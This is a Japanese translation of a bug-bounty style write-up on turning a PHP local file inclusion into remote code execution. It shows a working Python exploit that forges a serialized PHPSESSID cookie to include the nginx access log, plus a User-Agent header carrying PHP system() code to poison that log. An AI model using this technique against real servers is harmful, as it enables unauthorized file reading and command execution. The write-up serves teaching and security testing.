LFI to RCE — Bug bounty から学ぶ

ソース:

medium.com

脆弱性: LFI, RCE

 

訳:

この Web アプリで情報を収集し、偵察を行った数時間後。

Cookieを確認しました : PHPSESSID=

 

PHPSESSID — PHPSESSID CookiePHP にネイティブであり、Web サイトがシリアル化された状態データを保存できるようにします。
これは、ユーザー セッションを確立し、一般にセッション Cookie と呼ばれる一時 Cookie を介して状態データを渡すために使用されます。
(ブラウザを閉じると期限切れになります)。
通常、Base64エンコードされます。 

 

 

 

LFI の脆弱性

 

/www/index.html   /etc/passwdに置き換えるとどうなりますか?

 

 

 

サイト上の Cookie を変更して情報を取得する

 

 

Python を使用してリクエストを送信し、結果を出力する

 

 

Burp Suiteを使用してCookieを変更する

 

 

LFI発RCE行き

 

LFI 脆弱性から RCE を取得する最も簡単な方法は、ログポイズニングを使用することです。

 

 

この場合、リバース シェルを取得しようとすることは許可されていないため、単に「 ls -lsa」 - 「ls -l」 を使用してディレクトリをリストしてみます。

LFI の脆弱性を思い出してください。
ファイルの読み取りと実行のみが許可され、新しいファイルの書き込みや作成は許可されません。
では、どのようにしてコードを挿入するのでしょうか?
そうですね、サーバー ファイルにログを追加できますね。

 

 

 

 

 

ここで、ヘッダー「User-Agent」を使用してログを追加できるかどうかを見てみましょう。

 

 

headers = {'User-Agent': 'Facundo Fernandez'}

 

 

 

 

 

headers = {'User-Agent': "<?php system('ls -lsa');?>"

 

 

コードの説明:

 

import base64
# Importing the base64 module, which is used for encoding and decoding base64 data.

 

# Creating a byte string that mimics a serialized PHP object.
# This could be used to exploit object injection vulnerabilities in PHP applications.
malicious_cookie = b'O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}'
print('Malicious Cookie:', malicious_cookie)
# Printing the created malicious byte string (cookie) for demonstration.

 

# Encoding the malicious cookie using base64.
# This is necessary because cookies are usually base64-encoded during HTTP communication.
malicious_cookie_encoded = base64.b64encode(malicious_cookie)
print('Malicious cookie encoded:', malicious_cookie_encoded)
# Printing the base64-encoded version of the malicious cookie.

# Our Target
# This should be a URL under your control or where you have permission to test.
url = 'http://142.93.32.153:31043'

 

# Creating a cookies dictionary with the 'PHPSESSID' as the key and the encoded malicious cookie as the value.
cookies = {'PHPSESSID': malicious_cookie_encoded.decode()}

 

# Creating a headers dictionary, attempting to pass PHP code in the User-Agent header.
# The intention here is to test for Remote Code Execution (RCE) by trying to get the server to execute the 'ls' command.
headers = {'User-Agent': "<?php system('ls -lsa');?>"} 

 

# Sending a GET request to the specified URL with the malicious cookies and headers.
r = requests.get(url, cookies=cookies, headers=headers)
print(r.text)
# Printing the response text from the server.
# If the server is vulnerable and executes the code, you might see the result of the 'ls -lsa' command in the response.

 

ほなほな。